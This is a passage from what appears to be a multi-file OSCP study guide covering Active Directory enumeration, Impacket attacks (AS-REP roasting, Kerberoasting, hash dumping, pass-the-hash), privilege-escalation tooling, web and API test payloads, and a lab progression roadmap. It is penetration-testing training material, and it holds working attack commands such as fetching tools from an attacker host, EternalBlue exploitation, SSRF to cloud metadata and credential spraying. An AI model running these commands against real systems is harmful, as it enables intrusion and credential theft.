Extract users, groups, shares, and password policy before exploiting. Targets must be systems you own or are authorized to test.

enum4linux-ng (preferred over original enum4linux)

```
sudo apt install enum4linux-ng
enum4linux-ng -A target -oA scans/enum4linux
```

-A runs all checks. Output includes: users, groups, shares, OS info, password policy.

enum4linux (classic)

```
sudo apt install enum4linux
enum4linux -a target
```

Extract user list from output:

```
enum4linux -a target | grep "user:" | cut -d[ -f2 | cut -d] -f1 > users.txt
```

rpcclient

Connect with null session:

```
rpcclient -U "" target -N
```

Inside rpcclient:

```
enumdomusers          # list domain users
enumdomgroups          # list domain groups
queryuser 0x3e8        # get user info by RID
querydispinfo          # user display info
netshareenumall        # list all shares
```

Lookupsid (Impacket)

Enumerate SIDs to find users:

```
lookupsid.py anonymous@target
lookupsid.py domain/user:pass@target
```

Kerbrute — User Enumeration (No Creds Needed)

Enumerate valid domain users via Kerberos pre-auth errors:

```
kerbrute userenum --dc target -d domain.local /usr/share/seclists/Usernames/xato-net-10-million-usernames-ug.txt
```

Save valid users:

```
kerbrute userenum --dc target -d domain.local userlist.txt -o valid_users.txt
```

Build User Wordlist

Combine sources:

```
# From enum4linux
enum4linux -a target | grep "user:" | cut -d[ -f2 | cut -d] -f1 > users.txt

# From LDAP (if port 389 open)
ldapsearch -x -H ldap://target -b "DC=domain,DC=local" "(objectClass=person)" sAMAccountName 2>/dev/null | grep sAMAccountName | awk '{print $2}' >> users.txt

# From web app (found in source, profiles, error messages) – add manually
sort -u users.txt -o users.txt
```

Practice

TryHackMe “Attacktive Directory” room uses rpcclient and enum4linux as first enumeration steps.

Source: [09-enumeration-methodology-deepening/08-impacket-high-level-orientation.md](#)

Impacket Toolkit — Practical Commands

Impacket provides Python implementations of Windows network protocols. Essential for AD attacks.

Install

```
sudo apt install python3-impacket
# or
pip3 install impacket
```

Scripts location: `/usr/share/doc/python3-impacket/examples/` or directly as commands if pip-installed.

AS-REP Roasting (no credentials needed)

Find accounts with Kerberos pre-auth disabled:

```
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC_IP -no-pass -outputfile asrep_hashes.txt
```

Crack the output:

```
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

Kerberoasting (requires domain user credentials)

Request TGS tickets for service accounts:

```
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -outputfile tgs_hashes.txt
```

Crack:

```
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
```

Dump Hashes (requires admin)

```
secretsdump.py domain.local/admin:pass@target  
secretsdump.py -hashes :NTLM_HASH domain.local/admin@target
```

Remote Code Execution

Via SMB (requires admin, leaves artifacts):

```
psexec.py domain.local/admin:pass@target
```

Via WMI (quieter):

```
wmiexec.py domain.local/admin:pass@target
```

Via WinRM (if port 5985 open):

```
evil-winrm -i target -u admin -p pass
```

SMB and SID Enumeration

```
smbclient.py domain.local/user:pass@target  
lookupsid.py anonymous@target  
lookupsid.py domain.local/user:pass@target
```

Pass-the-Hash

When you have NTLM hash but not plaintext password:

```
psexec.py -hashes :NTLM_HASH domain.local/admin@target  
secretsdump.py -hashes :NTLM_HASH domain.local/admin@target
```

Practice

TryHackMe “Attacktive Directory” room — uses `GetNPUsers.py` for AS-REP roasting and `secretsdump.py` for hash dumping in the attack chain.

Source: [09-enumeration-methodology-deepening/09-bloodhound-trust-relationship-reading.md](#)

BloodHound — AD Attack Path Analysis

BloodHound maps AD relationships and finds attack paths to Domain Admin. Run it after getting any domain credentials.

Install and Start

```
sudo apt install bloodhound neo4j

# Start neo4j first
sudo neo4j start
```

Browse to <http://localhost:7474> → login with `neo4j/neo4j` → change password.

Start BloodHound:

```
bloodhound
```

Login with the neo4j credentials you just set.

Collect Data

From Linux (bloodhound-python):

```
sudo pip3 install bloodhound
bloodhound-python -u user -p pass -d domain.local -c All -ns DC_IP
```

Creates ZIP file in current directory.

From Windows (SharpHound — run on Windows target):

```
SharpHound.exe -c All
SharpHound.exe -c All --ZipFilename output.zip
```

Import Data

Drag and drop the ZIP file into the BloodHound GUI.

Key Queries to Run Every Time

In BloodHound → Analysis tab:

```
Find Shortest Paths to Domain Admins
Find AS-REP Roastable Users
Find Kerberoastable Users with Most Privileges
Find Computers where Domain Users are Local Admin
Find All Domain Admins
Shortest Paths to Unconstrained Delegation Systems
```

Mark Owned Nodes

Right-click any compromised user or computer → Mark as Owned. BloodHound then shows attack paths from your owned nodes.

Reading Attack Paths

Each edge (arrow) in BloodHound is an exploitable relationship:

Edge	Meaning
MemberOf	Group membership
AdminTo	Local admin on computer
HasSession	User has active session on computer
CanRCE	Can execute code remotely
GenericAll	Full control over object
WriteDacl	Can modify object permissions

Click any edge → click “?” → BloodHound shows the attack technique and tool commands.

Practice

Download pre-built sample data: github.com/BloodHoundAD/BloodHound/tree/master/examples — import and run all default queries to learn the interface before using it on real AD.

Source: [09-enumeration-methodology-deepening/10-peass-local-configuration-review.md](#)

PEASS-ng — LinPEAS and WinPEAS for Privilege Escalation

Run PEASS after getting a low-privilege shell to find PrivEsc vectors. Only use on VMs you own or authorized targets.

Download Latest LinPEAS

```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
```

Transfer to Target

Set up file server on Kali (your attacker machine):

```
python3 -m http.server 8080
```

On the victim Linux machine:

```
wget http://KALI_IP:8080/linpeas.sh
# or
curl http://KALI_IP:8080/linpeas.sh -o linpeas.sh
```

Run LinPEAS

```
chmod +x linpeas.sh
./linpeas.sh 2>/dev/null | tee linpeas.out
```

Reading LinPEAS Output

Color coding (if terminal supports it): - RED/YELLOW — critical findings, check these first - GREEN — interesting but less critical - BLUE/CYAN — informational

Key sections to review:

```
[+] Sudo version
[+] SUID files
[+] Interesting writable files
[+] Cron jobs
[+] Services running as root
[+] Network interfaces and ports
[+] Interesting files in home dirs
[+] Password files
[+] SSH keys
```

Download and Run WinPEAS

On Kali:

```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o winpeas.exe
```

Transfer to Windows target:

```
certutil -urlcache -f http://KALI_IP:8080/winpeas.exe winpeas.exe
powershell -c "Invoke-WebRequest -Uri http://KALI_IP:8080/winpeas.exe -OutFile winpeas.exe"
```

Run:

```
winpeas.exe
winpeas.exe quiet # less output, faster
```

Manual Checks After LinPEAS

```
sudo -l # what can this user sudo?
find / -perm -4000 2>/dev/null # SUID files
crontab -l && cat /etc/crontab # cron jobs
ls -la /etc/passwd /etc/shadow # world-readable shadow?
env # environment variables with credentials?
```

Practice

TryHackMe “Linux PrivEsc” room — run linpeas.sh and manually verify each finding it reports.

Source: 09-enumeration-methodology-deepening/11-integration-methodology-rehearsal.md

Full Enumeration Chain Drill — Time-Boxed

Run this drill on TryHackMe “Basic Pentesting”, “Mr Robot”, or HTB “Blue”. Target time: 45 minutes for enumeration phase only.

Setup

```
TARGET=10.10.10.x
mkdir -p ~/labs/$TARGET/{recon,scans,exploit,loot}
```

Step 1 — Start Full nmap (background)

```
nmap -sV -sC -p- $TARGET -oA ~/labs/$TARGET/scans/nmap_full &
```

Step 2 — While nmap Runs: Quick Pass

```
# Quick scan for common ports
nmap -sV --open --min-rate 5000 $TARGET

# If 80/443 found immediately:
curl -I http://$TARGET
curl http://$TARGET/robots.txt
```

Step 3 — Review Full nmap Results

```
grep "open" ~/labs/$TARGET/scans/nmap_full.nmap
```

Step 4 — Per-Service Enumeration

HTTP (80/443/8080):

```
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 40
nikto -h http://$TARGET -o ~/labs/$TARGET/scans/nikto.txt
```

SMB (445):

```
smbclient -L //$TARGET -N
nxc smb $TARGET -u '' -p '' --shares
nmap --script smb-vuln-ms17-010 -p 445 $TARGET
```

FTP (21):

```
ftp $TARGET
# user: anonymous, pass: (blank)
```

SNMP (161/UDP):

```
nmap -sU -p 161 $TARGET && snmpwalk -v2c -c public $TARGET
```

Step 5 — Search Exploits

```
# For each service + version found:
searchsploit vsftpd 2.3.4
searchsploit "apache 2.4.49"
searchsploit samba 3.x
```

Step 6 — Document All Findings

```
cat > ~/labs/$TARGET/recon/summary.md << 'EOF'
| Port | Service | Version | Notes | Exploitable? |
|-----|-----|-----|-----|-----|
EOF
# Fill in manually from nmap output
```

Step 7 — Identify Top 2-3 Attack Vectors

Before leaving enumeration phase, write down: 1. Most likely initial access vector (specific CVE or technique) 2. Backup vector if first fails 3. Any credentials or usernames found

Time Checkpoint

- 0:00 — Start full nmap, run quick scan in parallel
 - 0:10 — First services identified, begin service-specific enum
 - 0:30 — All services enumerated, exploit search done
 - 0:45 — Summary written, attack vectors identified
-

Source: 09-enumeration-methodology-deepening/12-asvs-api-security-perspective-for-backend-stack.md

OWASP ASVS and API Security Top 10 as an Enumeration Checklist

Use these as structured test checklists during webapp enumeration. Not theory — run each check actively.

ASVS Levels

- L1: Opportunistic attacker, basic checks
- L2: Standard security verification
- L3: High-value targets, advanced verification

For OSCP-level testing, L1 and L2 cover most findings.

OWASP API Security Top 10 — Active Test Checklist

API1: Broken Object Level Authorization (BOLA)

```
# Find an endpoint that takes an object ID
GET /api/users/1001/profile
# Change ID to another user's ID
GET /api/users/1002/profile
# Did you get another user's data? BOLA.
```

API2: Broken Authentication

```
# Test auth endpoints:
curl -X POST -d '{"user":"admin","pass":"admin"}' http://target/api/login
# Try: no password, empty token, expired token, invalid JWT signature
curl -H "Authorization: Bearer invalid.token.here" http://target/api/profile
```

API3: Broken Object Property Level Authorization (Mass Assignment)

```
# Add unexpected fields to POST body:
curl -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass","role":"admin","isAdmin":true}' \
  http://target/api/register
```

API4: Unrestricted Resource Consumption

```
# Send 50 rapid requests — does the server rate limit?
for i in {1..50}; do curl -s -o /dev/null -w "%{http_code}\n" http://target/api/search?q=test; done
```

API5: Broken Function Level Authorization

```
# Try admin endpoints as regular user:
curl -H "Authorization: Bearer USER_TOKEN" http://target/api/admin/users
curl -H "Authorization: Bearer USER_TOKEN" http://target/api/admin/delete/1
```

API7: Server-Side Request Forgery (SSRF)

```
# Find URL parameters and point them at internal resources:
curl "http://target/api/fetch?url=http://127.0.0.1:6379/"
curl "http://target/api/fetch?url=http://169.254.169.254/latest/meta-data/"
```

API8: Security Misconfiguration

```
# Check for debug/info endpoints:
curl http://target/api/debug
curl http://target/api/health
curl http://target/swagger.json
curl http://target/openapi.json
curl http://target/api-docs
# Check verbose error messages:
curl -X POST -d "invalid" http://target/api/login
```

API9: Improper Inventory Management

```
# Check for old API versions:
curl http://target/api/v1/users
curl http://target/api/v2/users
curl http://target/v1/
ffuf -u http://target/FUZZ/users -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
```

Practice Lab

OWASP crAPI Docker lab covers all 10 API vulnerabilities:

```
docker pull crapi/crapi
docker-compose -f docker-compose.yml --compatibility up -d
# Access at http://localhost:8888
```

Complete all crAPI challenges before attempting HTB or TryHackMe API rooms.

Phase — 10-labs-progression-to-pen200

Directory: 10-labs-progression-to-pen200/

Source: 10-labs-progression-to-pen200/01-roadmap-resources-and-policy.md

Lab Progression Roadmap to PEN-200

Work through platforms in order — don't skip ahead until you're consistently solving at the current tier.

Progression Path

TryHackMe Jr Pentester path

→ HTB Easy (retired machines, VIP)

→ OffSec PG Practice Easy/Medium

→ HTB Medium (retired)

→ PEN-200 enrollment

Platform Comparison

Platform	Free Tier	Paid	Best For
TryHackMe	Yes (limited rooms)	\$14/mo premium	Guided intro, Jr path
HackTheBox	Active machines free	\$14/mo VIP (retired)	Unguided real-world boxes
OffSec PG Practice	Community (time-limited)	\$19/mo full access	OSCP-style machines

- TryHackMe: tryhackme.com
- HackTheBox: hackthebox.com
- OffSec PG: offsec.com/labs/practice

The Core Rule

Attempt every box independently for at least 30-45 minutes before looking at any hints or writeups. Use hints (not walkthroughs) if stuck after 2 hours. Read only the first step of a writeup after 3 hours — complete the rest yourself.

Documentation Policy

Document every machine in a dedicated file: - Every command you ran (even failed ones) - Every port and service found - What worked, what didn't, why you pivoted - The exact exploit and payload used

This habit is what makes the OSCP 24-hour exam manageable. Start it now.

OSCP Enrollment

Enroll at: offsec.com/courses/pen-200

Enroll only after you can consistently solve Medium-difficulty boxes without hints. Rushing enrollment wastes lab time.

Readiness Benchmarks

Milestone	Signal
Start HTB Easy	Finish TryHackMe Jr Pentester path
Start PG Practice	Solve 5+ HTB Easy boxes without hints
Start HTB Medium	Solve 10+ PG Easy machines
Enroll PEN-200	Solve 20+ PG machines, pass self-audit in file 10

Source: 10-labs-progression-to-pen200/02-jr-pen-path-footprinting.md

TryHackMe Jr Pentester Path — Recon Modules

Path URL: tryhackme.com/path/outline/jrpenetrationtester

Complete this path before moving to unguided HTB boxes.

Priority Modules

Work these in order: 1. Passive Reconnaissance 2. Active Reconnaissance 3. Nmap 4. Content Discovery 5. Subdomain Enumeration 6. Vulnerability Research

Passive Recon Commands

```
whois target.com
dig target.com ANY
dig target.com MX
dig target.com NS
theHarvester -d target.com -b google
theHarvester -d target.com -b bing,linkedin,google
```

Shodan: shodan.io — search `hostname:target.com` or `net:IP_RANGE` Censys: search.censys.io — search by IP, hostname, or cert CN

Active Recon Commands

```
# Full port scan
nmap -sV -sC -p- -T4 target

# UDP top ports
nmap -sU --top-ports 20 target

# OS detection
nmap -O target

# Traceroute
traceroute target
```

Burp Suite passive crawl: set as proxy, browse target, review Site Map.

How to Use Each Room

Don't just click through. For every room: 1. Complete the guided exercise with the room's target 2. Redo the same commands on your own local VM from memory 3. Write down every new command you encountered

Completion Signal

You're ready for HTB Easy when you can run a full passive + active recon on a new target in under 20 minutes without referencing notes.

Source: 10-labs-progression-to-pen200/03-jr-path-enumeration-workflow-notes.md

Lab Machine Note-Taking Template

Use this template for every machine. One file per machine. Store in a `1abs/` directory.

Template

```
## Target: [IP/hostname]
## Date: YYYY-MM-DD
## Platform: [TryHackMe / HTB / PG]
## Difficulty: [Easy / Medium / Hard]
```

```
### Recon
- Ports open:
- Services:
- OS guess:
```

```
### Web Enumeration
- Directories found:
- Interesting pages:
- Tech stack:
```

```
### Exploitation
- Vulnerability:
- CVE (if applicable):
- Exploit used:
- Payload:
- Command run:
```

```
### Post-Exploitation
- User gained:
- PrivEsc vector:
- Root/SYSTEM gained:
```

```
### Credentials Found
-
```

```
### Flags
- user.txt:
- root.txt / local.txt / proof.txt:
```

```
### Dead Ends
- What I tried that didn't work:
```

```
### Time Spent
- Total:
```

Screenshot Policy

Every flag: run this in the same terminal window before screenshotting:

```
hostname && whoami && cat /home/user/user.txt
hostname && whoami && cat /root/root.txt
```

For Windows:

```
hostname && whoami && type C:\Users\user\Desktop\user.txt
hostname && whoami && type C:\Users\Administrator\Desktop\root.txt
```

Name screenshot files consistently: - `targetname_user_flag.png` - `targetname_root_flag.png`

Use Flameshot (`flameshot gui`) or the built-in screenshot shortcut on your OS.

Why This Matters

OSCP exam requires a written report with screenshots proving you owned each machine. Missing a screenshot during the exam costs points you cannot recover. Build this habit on every practice machine now.

Source: 10-labs-progression-to-pen200/04-web-stack-analysis-hygiene.md

Web Enumeration Routine

Run this chain on every machine with an HTTP/HTTPS service. Don't skip steps.

Standard Web Enum Chain

```
# 1. Identify tech stack
curl -I http://target
whatweb http://target

# 2. Directory discovery
gobuster dir \
  -u http://target \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,txt,html,bak,old \
  -t 50

# 3. Check common files
curl http://target/robots.txt
curl http://target/sitemap.xml
curl http://target/.htaccess
curl http://target/web.config

# 4. Vuln scan
nikto -h http://target

# 5. Subdomain/vhost fuzzing
gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

Manual Browsing Checklist

- Login pages: try default creds (`admin:admin`, `admin:password`, `guest:guest`)
- Upload forms: attempt file upload bypass (rename `.php` to `.php5`, `.phtml`)
- Search bars: test for SQLi (`'`, `' OR 1=1--`, `"`)
- URL parameters: test for LFI (`?page=../../../../etc/passwd`)
- HTML source comments: `Ctrl+U` in browser, `grep` for TODOs, passwords, paths

CMS-Specific Scans

```
# WordPress
wpscan --url http://target --enumerate u,vp,vt

# Joomla
joomscan -u http://target

# Drupal
droopescan scan drupal -u http://target
```

SecLists Location

```
# Install if missing
sudo apt install seclists

ls /usr/share/seclists/Discovery/Web-Content/
```

Signal to Move On

Web enum is done when: all directories exhausted, all parameters tested, CMS scan complete, Nikto reviewed. If nothing actionable, pivot to other services — web is not always the entry point.

Source: `10-labs-progression-to-pen200/05-smb-and-windows-machine-workflow-easy-tier.md`

Windows/SMB Machine Workflow — Easy Tier

Use this chain on every Windows box. Run each step before assuming a service isn't useful.

Full SMB Enumeration Chain

```
# 1. SMB vuln + share enum
nmap -p 445 --script smb-vuln-ms17-010,smb-vuln-ms08-067,smb-enum-shares,smb-security-mode target
nmap -p 139,445 --script smb-enum-users target

# 2. List shares (anonymous)
smbclient -L //target -N
nxc smb target -u '' -p '' --shares
nxc smb target -u 'guest' -p '' --shares

# 3. Browse a share
smbclient //target/SHARENAME -N
smb: \> ls
smb: \> get filename.txt

# 4. RPC enumeration
rpcclient -U "" target -N
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querydomaininfo

# 5. Spray credentials once found
nxc smb target -u users.txt -p passwords.txt --continue-on-success
nxc smb target -u admin -p 'Password123' --shares
```

MS17-010 (EternalBlue) — HTB Blue, Legacy

```
# Check
nmap -p 445 --script smb-vuln-ms17-010 target

# Exploit with Metasploit (allowed once on OSCP exam)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS target; set LHOST YOUR_IP;
run"

# Manual exploit: github.com/worawit/MS17-010
python3 send_and_execute.py target shellcode/sc_x64.bin
```

Default Credentials to Try First

Service	Default
Tomcat	admin:admin, tomcat:tomcat, tomcat:s3cret
FTP	anonymous:anonymous
SMB	guest:, administrator:
WinRM	Use credentials found from other services

HTB Easy Windows Starting Boxes

- **Blue** — MS17-010, pure exploit
- **Legacy** — MS08-067, older Windows
- **Jerry** — Tomcat default creds, WAR file upload

Complete these three before moving to Medium. They cover the three most common Easy-tier Windows attack patterns.

Source: `10-labs-progression-to-pen200/06-independent-attempt-before-hints.md`

The Try-Hard Protocol

How long to spend on a box before looking anything up. Stick to this — it's the difference between passing and failing OSCP.

Time-Boxing Rules

Time	Action
0–45 min	Work one attack vector fully
45 min stuck	Re-enumerate. Don't pivot to hints yet.
2 hours total	Check a hint (one sentence, not a walkthrough)
3 hours total	Read only the first step of a writeup
After hint	Complete the exploitation yourself, no further reading

Re-Enumeration Checklist (Run Before Giving Up)

```
# Did you scan all ports?
nmap -sV -sC -p- -T4 target

# Did you check UDP?
nmap -sU --top-ports 100 target

# Did you run NSE scripts on each service?
nmap -p 80 --script http-enum,http-title,http-methods target
nmap -p 21 --script ftp-anon,ftp-bounce target

# Did you enumerate every found directory recursively?
gobuster dir -u http://target/found-dir/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Did you check version numbers against known exploits?
searchsploit apache 2.4.49
searchsploit vsftpd 2.3.4
```

Research Process When Stuck

```
# Step 1: local exploit DB
searchsploit [service] [version]

# Step 2: Google
# "[service] [version] exploit"
# "[service] [version] CVE"
# "HTB [boxname] hint" (not walkthrough)

# Step 3: ExploitDB
# exploitdb.com — filter by platform, type
```

The Rule That Makes OSCP Possible

Never just read a walkthrough and move on. If you looked up the answer, you still run every command yourself. If you saw the exploit, you still execute it manually. Reading without executing builds no skill.

Boxes you struggled with are more valuable than boxes you solved easily — go back after a week and try from scratch.

Source: `10-labs-progression-to-pen200/07-medium-difficulty-integration.md`

Progressing to Medium-Difficulty Boxes

Don't move to Medium until you're solving Easy boxes in under 90 minutes without hints.

Signals You're Ready

- Solving Easy boxes consistently in under 90 min
- Enumeration feels automatic — you're not forgetting UDP, SMB, or secondary ports
- You know which exploit to try based on the service version without Googling first

What Changes at Medium

- Multi-step exploitation: find credential in a file → spray it → use it to privesc
- Custom exploit modifications required (not just copy-paste from ExploitDB)
- Intentional rabbit holes — services that look exploitable but aren't
- PrivEsc requires chaining multiple misconfigs

Approach Adjustments

Spend 30% more time on enumeration than you did at Easy tier. Most Medium failures happen because something was missed in recon, not because the exploit was too hard.

Common Medium-box failure points: - Forgetting UDP ports (`nmap -sU --top-ports 100 target`) - Not checking all found services (every open port has an attack surface) - Not trying default credentials on every service - Missing subdirectories under found directories

Recommended HTB Retired Medium Boxes

- **Beep** — Elastix, multiple entry points, PrivEsc via sudo
- **Optimum** — Windows, HFS exploit, PrivEsc via kernel
- **Grandpa / Granny** — IIS WebDAV, classic Windows PrivEsc
- **Bastard** — Drupal RCE, Windows PrivEsc

PG Practice Medium

OffSec Proving Grounds Practice Medium boxes are closer to OSCP exam difficulty than HTB Medium. After 3-4 HTB Medium boxes, switch to PG Practice. Track time per box in your notes — target under 2 hours per machine before enrolling in PEN-200.

Source: `10-labs-progression-to-pen200/08-offsec-proving-grounds-practice-tone.md`

OffSec Proving Grounds Practice

PG Practice is the closest simulation to the OSCP exam environment. Prioritize it over HTB once you've completed the Easy tier.

Sign Up

offsec.com/labs/practice

- Community (free): limited daily machine time on select machines
- Subscription (\$19/mo): full access to all machines

Why PG Over HTB for OSCP Prep

Feature	HTB	PG Practice
Machine style	CTF-flavored	OSCP exam-style
Flag names	user.txt / root.txt	local.txt / proof.txt
Difficulty naming	Easy/Med/Hard	Easy/Med/Hard (same as OSCP)
Official writeups	Community only	OffSec-provided after submission
OSCP correlation	Good	Best

Recommended Starting Machines

- **Potato** — Linux, web + PrivEsc
- **Nibbles** — Linux, common misconfig
- **Sunset** — Linux, multi-step

How to Use PG Effectively

```
# Submit flags like OSCP
# local.txt = user-level shell
# proof.txt = root/SYSTEM shell

cat /home/user/local.txt
cat /root/proof.txt
```

After submitting: read the official OffSec writeup and compare your approach. Look for steps you missed or slower paths you took.

Target

Solve 20+ PG Practice machines before enrolling in PEN-200. Machines you solve on PG are direct preparation for the exam — the style, difficulty, and documentation requirements are the same. Solving PG machines consistently is the best predictor of OSCP exam success.

Source: [10-labs-progression-to-pen200/09-udemy-htb-ocsp-bridge-mindset.md](https://github.com/10-labs-progression-to-pen200/09-udemy-htb-ocsp-bridge-mindset.md)

Supplementary Video Courses for OSCP Prep

Video courses supplement lab practice — they don't replace it. Lab hours matter more than video hours.

Recommended Courses

TCM Security — Practical Ethical Hacking - URL: tcm-sec.com - Cost: ~\$30 - Covers: full methodology end-to-end, Active Directory attacks, report writing - Best for: filling methodology gaps before starting HTB/PG

TCM Security — Linux PrivEsc / Windows PrivEsc - Free on YouTube: search "TCM Security Linux Privilege Escalation" - Watch these before attempting Medium boxes

Curated HTB Machine Lists

TJ_Null OSCP-like list: github.com/tjnull/OSCP-Stuff - Retired HTB machines with similar style to OSCP exam - Work through this list in order after finishing TryHackMe Jr path

Video Walkthroughs After Solving

IppSec: youtube.com/@ippsec - Detailed walkthroughs of retired HTB machines - Watch only AFTER you've solved (or fully attempted) the same box - Compare your approach — IppSec often shows 2-3 different paths to root

How to Use Videos Without Wasting Time

1. Do the lab machine first — even if you don't finish it
2. Watch the walkthrough after
3. Note every technique you didn't know
4. Replicate that technique on your own VM

Don't watch walkthroughs for boxes you haven't attempted. You'll recognize the answer when you see it during the exam and won't know how to execute it.

Course vs Lab Hours Ratio

Aim for at least 3 hours of lab work for every 1 hour of video. If you're watching more than you're hacking, rebalance.

Source: `10-labs-progression-to-pen200/10-pen200-self-audit-gate.md`

PEN-200 Readiness Self-Assessment

Answer these 20 questions from memory with no notes. If you can't answer 15 or more, keep practicing before enrolling.

Questions

1. How do you enumerate SMB shares from Linux?
2. What's the nmap command for a full version+script scan on all ports?
3. How do you exploit MS17-010 manually without Metasploit?
4. What does LinPEAS check first when run on a Linux target?
5. How do you get a shell from a SQL injection vulnerability?
6. What's the Kerberoasting command with impacket?
7. How do you crack an NTLM hash with hashcat?
8. What's the difference between a bind shell and a reverse shell?
9. How do you upgrade a netcat shell to a fully interactive TTY?
10. How do you enumerate users in an AD domain without credentials?
11. What is AS-REP roasting and when does it apply?
12. How do you transfer files from your attacker machine to a Windows target?
13. What's the command to download and run PEASS on a Linux target?
14. How do you find SUID misconfigs on Linux?
15. What are the OSCP exam rules on Metasploit usage?
16. How do you identify a web app's tech stack quickly?
17. What does SeImpersonatePrivilege enable on Windows and how do you exploit it?
18. How do you mount a CIFS/SMB share on Linux?
19. What information does BloodHound collect and how do you run the collector?
20. What must every OSCP exam report screenshot include?

Scoring

Score	Action
< 15	Revisit weak areas, keep doing PG machines
15–18	Ready to enroll, start PEN-200
19–20	Start PEN-200 now

Sample Answers to Check Against

```
# Q1: SMB shares
smbclient -L //target -N
nxc smb target -u '' -p '' --shares

# Q2: Full scan
nmap -sV -sC -p- -T4 target

# Q6: Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -dc-ip DC_IP -request

# Q9: Shell upgrade
python3 -c 'import pty;pty.spawn("/bin/bash")'
# then: Ctrl+Z, stty raw -echo; fg, reset

# Q14: SUID
find / -perm -u=s -type f 2>/dev/null
```

Source: `10-labs-progression-to-pen200/11-pen200-coursework-ethics.md`

PEN-200 Enrollment and Coursework Guide

Enroll

offsec.com/courses/pen-200

Lab Time Options

Duration	Recommended For
30 days	Already solving PG Hard consistently, fast learner
60 days	Consistently solving PG Medium without hints
90 days	Still building speed, want buffer time

If in doubt, pick 90 days. Unused time is wasted money; too little time forces a repurchase.

What You Get

- Video + PDF course materials
- Lab network with 70+ machines
- Challenge labs (Active Directory sets, practice exam environments)
- One exam attempt included

Exam Format

- Duration: 24 hours active (23h45m), then 24 hours to write and submit report
- Machines: 3 standalone + 1 AD chain (DC + 2 clients)
- Pass score: 70+ points out of 100

- Metasploit: allowed on one machine only (not on the AD chain)

Lab Strategy

Use the same methodology you built on TryHackMe/HTB/PG — don't try to learn new techniques during lab time. Labs are for applying what you know, not learning it for the first time.

Week 1-2: Complete course materials (video + PDF)
Week 3+: Lab machines — minimum 5 per week
Final week: Challenge labs + practice exam environment

What Not to Discuss Publicly

- Exam machine names
- Specific vulnerabilities found on exam machines
- Any details that would help someone pass without the skill

Violating OffSec's exam policy results in exam invalidation. Community: [r/oscp](#) on Reddit, [TJ_Null](#) Discord, official Kali Linux Discord at [offensive-security.com](#).

Report Requirements

- Must include: IP, hostname, proof screenshot, exploitation steps, remediation
- Format: OffSec-provided template (available on exam page)
- Submission: upload PDF within 24 hours of exam end

Source: `10-labs-progression-to-pen200/12-full-path-integration-narrative.md`

Full Path Summary and Next Steps After OSCP

Complete Learning Path

Phase 01-04: Foundations (Linux, Networking, Pre-security)
Phase 05-06: Web security (OWASP, Burp, auth attacks)
Phase 07: Windows/AD structure
Phase 08-09: Kali tooling + enumeration methodology
Phase 10: Lab machines (TryHackMe → HTB → PG → OSCP)
Phase 11: Exploitation fundamentals
Phase 12: Privilege escalation (Linux + Windows)
Phase 13: Active Directory attacks
Phase 14: Post-exploitation + lateral movement
Phase 15: Pivoting and tunneling
Phase 16: Blue team / SOC
Phase 17: AppSec / Secure SDLC
Phase 18: Industry tooling reference
Phase 19: Report writing
Phase 20: Advanced labs

After OSCP — Next Certifications by Role

Offensive / Red Team - CRT0 — Cobalt Strike red team ops ([zero-point-security.com](#)) - OSEP — Evasion techniques and advanced exploitation (OffSec) - OSED — Windows exploit development (OffSec)

Active Directory Specialist - CRTE — Red Team Expert, AD focus ([altered-security.com](#)) - CARTP — Azure Red Team Professional ([altered-security.com](#))

Blue Team / Detection - BTL2 — Blue Team Labs Level 2 ([securityblue.team](#)) - GCFE — GIAC Forensics Examiner - GCIH — GIAC Incident Handler

What to Do This Week

```
# If you just finished the path:
# 1. Start the PEN-200 self-audit (file 10) – score yourself honestly
# 2. If score < 15: pick 3 PG Practice machines and solve them
# 3. If score 15+: enroll at offsec.com/courses/pen-200

# Machine count tracker – update after every box:
echo "HTB Easy solved: X" >> ~/labs/progress.txt
echo "PG Practice solved: X" >> ~/labs/progress.txt
echo "Date: $(date)" >> ~/labs/progress.txt
```

Certificates matter less than the skill. If you can compromise a machine end-to-end, document it clearly, and explain every step — the cert follows.

Phase — 11-exploitation-fundamentals

Directory: 11-exploitation-fundamentals/

Source: 11-exploitation-fundamentals/01-resources-and-lab-setup.md

Exploitation fundamentals — resources and lab setup

Exploitation is where enumeration pays off. Build a local lab before touching any online platform — you need a safe surface to break things freely.

Primary resources

Resource	URL	Focus
TryHackMe Jr Penetration Tester	https://tryhackme.com/path/outline/jrpenetrationtester	End-to-end intro path
HTB Academy Penetration Tester	https://academy.hackthebox.com/path/preview/penetration-tester	Job-role structured path
OffSec Proving Grounds Practice	https://www.offsec.com/labs/	Free tier: 3 free machines/day
Exploit-DB	https://www.exploit-db.com/	Public exploit archive
VulnHub	https://www.vulnhub.com/	Free downloadable vulnerable VMs

Local lab VM checklist

```
[ ] Kali Linux (attacker)           - https://www.kali.org/get-kali/
[ ] Metasploitable2 (Linux target) - https://sourceforge.net/projects/metasploitable/
[ ] DVWA (web target)              - https://github.com/digininja/DVWA
[ ] Windows 7/Server 2008 VM       - VulnHub or private archive for EternalBlue practice
```

Networking: put all VMs on a host-only or NAT network isolated from production traffic.

Tool install checklist (Kali — most pre-installed)

```
# Verify Metasploit
msfconsole --version

# Verify searchsploit
searchsploit --version

# Verify msfvenom
msfvenom --list formats | head -20

# Install any missing
sudo apt update && sudo apt install -y metasploit-framework exploitdb
```

Ethical scope

Only exploit systems you own or have **explicit written permission** to test. Online platforms (THM, HTB, PG) grant authorisation within their platform boundary only. Never use lab techniques against production infrastructure.

Source: 11-exploitation-fundamentals/02-vulnerability-research-workflow.md

